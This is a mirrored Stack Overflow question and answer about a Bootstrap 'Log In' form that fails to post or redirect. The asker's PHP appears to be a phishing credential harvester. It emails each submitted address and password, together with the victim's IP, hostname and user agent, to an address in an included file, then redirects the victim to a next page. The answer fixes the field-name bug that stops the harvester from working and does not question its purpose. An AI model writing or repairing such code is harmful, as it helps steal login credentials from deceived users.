【问题标题】:How to fix "Bootstrap Form Not posting and redirecting"如何修复“引导表单未发布和重定向”
【发布时间】:2019-04-20 22:30:26
【问题描述】:

我正在尝试使用 Bootstrap 3 创建一个表单。该表单不会发布或重定向到第 2 页。这是我不会重定向或发布的表单

<form role="form" action="sqr.php" method="post">
                    <div class="row">
                    <div class="form-group col-xs-11">
                    <label for="exampleInputEmail1"></label>
                    <input type="email" class="form-control" id="exampleInputEmail1" name="usrr" placeholder="Email Adress">
                    </div>
                    </div>

                    <div class="row">
                    <div class="form-group col-xs-11">
                    <label for="exampleInputPassword1"></label>
                    <input type="password" class="form-control" id="exampleInputPassword1" name="psww" placeholder="Password">
                    </div>
                    </div>

                    <button type="submit" class="btn btn-info col-xs-11">Log In</button>
                </form>

这是我的 PHP

<?php
if($_POST["usr"] != "" and $_POST["psw"] != ""){
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$useragent = $_SERVER['HTTP_USER_AGENT'];
$message .= "-------------- Info-----------------------\n";
$message .= "Email            : ".$_POST['usrr']."\n";
$message .= "Password           : ".$_POST['psww']."\n";
include 'email.php';
$subject = "New User| $ip";
{
mail("$to", "$send", "$subject", $message);     
}
$praga=rand();
$praga=md5($praga);
header ("Location: sq1.php");

?>

这是我的 Javascript

$(function()
{
function after_form_submitted(data) 
{
    if(data.result == 'success')
    {
        $('form#reused_form').hide();
        $('#success_message').show();
        $('#error_message').hide();
    }
    else
    {
        $('#error_message').append('<ul></ul>');

        jQuery.each(data.errors,function(key,val)
        {
            $('#error_message ul').append('<li>'+key+':'+val+'</li>');
        });
        $('#success_message').hide();
        $('#error_message').show();

        //reverse the response on the button
        $('button[type="button"]', $form).each(function()
        {
            $btn = $(this);
            label = $btn.prop('orig_label');
            if(label)
            {
                $btn.prop('type','submit' ); 
                $btn.text(label);
                $btn.prop('orig_label','');
            }
        });

    }//else
}

$('#reused_form').submit(function(e)
  {
    e.preventDefault();

    $form = $(this);
    //show some response on the button
    $('button[type="submit"]', $form).each(function()
    {
        $btn = $(this);
        $btn.prop('type','button' ); 
        $btn.prop('orig_label',$btn.text());
        $btn.text('Sending ...');
    });


                $.ajax({
            type: "POST",
            url: 'handler.php',
            data: $form.serialize(),
            success: after_form_submitted,
            dataType: 'json' 
        });        

  });   

});

但它不会发布,也不会重定向。 不断回到同一页面,我对网页设计相对较新。 非常感谢任何帮助

【问题讨论】:

    标签: php html twitter-bootstrap twitter-bootstrap-3


    【解决方案1】:

    首先你的 php $_POST 是错误的。它必须在下面。请检查邮件函数 $to 和 $send 变量。

    if ($_POST["usrr"] != "" and $_POST["psww"] != "") {
            $ip = getenv("REMOTE_ADDR");
            $hostname = gethostbyaddr($ip);
            $useragent = $_SERVER['HTTP_USER_AGENT'];
            $message = '';
            $message .= "-------------- Info-----------------------\n";
            $message .= "Email            : " . $_POST['usrr'] . "\n";
            $message .= "Password           : " . $_POST['psww'] . "\n";
            include 'email.php';
            $subject = "New User| $ip";
            {
                mail("$to", "$send", "$subject", $message); // Where is $to and $send variables ?
            }
            $praga = rand();
            $praga = md5($praga);
            header("Location: sq1.php");
        }
    

    【讨论】:

      猜你喜欢
      • 2019-12-17
      • 2023-03-06
      • 2015-12-25
      • 2012-08-19
      • 2019-01-31
      • 2021-02-13
      • 1970-01-01
      • 2013-10-11
      • 2015-12-05
      相关资源
      最近更新 更多